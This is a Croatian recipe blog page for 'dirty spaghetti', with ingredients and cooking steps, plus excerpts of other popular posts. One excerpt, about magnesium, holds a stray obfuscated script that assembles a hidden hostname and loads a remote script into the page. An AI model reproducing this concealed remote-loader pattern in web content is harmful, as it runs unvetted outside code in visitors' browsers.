ŠPORKI ŠPAGETI 🍝





Šporki špageti 



Za razliku od klasičnih talijanskih špageta koji dolaze u bogatom umaku od rajčice, “dirty spaghetti” temelje se na gustoj, aromatičnoj mješavini mesa i zaprške (roux). Umak nije tekuć, a meso je dominantnije i jače se osjeti nego u klasičnom raguu. “Dirty spaghetti” tako su bliski i jelu poznatom kao “pastalaya”, svojevrsnoj verziji jambalaye s tjesteninom umjesto riže.



Šporki špageti 


Sastojci:

  • 2 žlice maslinova ulja
  • 225 g mljevene junetine
  • 1 glavica luka, narezana na kockice
  • 1 paprika, narezana na kockice
  • 1 komadić korijena celera, narezan na listiće
  • 115 g svježe kobasice, sitno narezane
  • 1/2 čajne žličice luka u prahu
  • 1 čajna žličica paprike
  • 1 čajna žličica mljevenog kumina
  • 1/4 čajne žličice suhog origana
  • 1/4 čajne žličice suhog timijana
  • 1/2 čajne žličice soli
  • 1/4 čajne žličice kajenskog papra
  • 1/2 čajne žličice svježe mljevenog crnog papra
  • 225 g špageta
  • 1 žlica Worcestershire umaka
  • 1 mladi luk
  • 480 ml goveđeg temeljca



Priprema:

  1. U duboku tavu s poklopcem ulijte ulje i zagrijte na srednje jakoj vatri. Dodajte mljeveno meso i pržite 3 do 4 minute uz miješanje, usitnjavajući ga u sitne komadiće.
  2. Kad meso porumeni, dodajte luk, papriku, celer i kobasicu bez ovitka te kuhajte uz miješanje još 2 minute. Začinite lukom i češnjakom u prahu, paprikom, kuminom, origanom, timijanom, kajenskim paprom, crnim paprom i soli te kuhajte još 1 do 2 minute uz miješanje. Ulijte temeljac i pustite da lagano zakipi.
  3. Špagete dodajte ih u tavu. Rasporedite ih što ravnomjernije i dobro poklopite. Kuhajte na srednje jakoj vatri 2 minute. Zatim otklopite, promiješajte i ponovno poklopite. Ponavljajte postupak (otklapanje, miješanje i poklapanje) svake 2 minute dok tjestenina ne bude kuhana po želji.
  4. Maknite s vatre, dodajte Worcestershire umak i po potrebi još malo soli. Promiješajte i poslužite u zdjelama posuto mladim lukom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više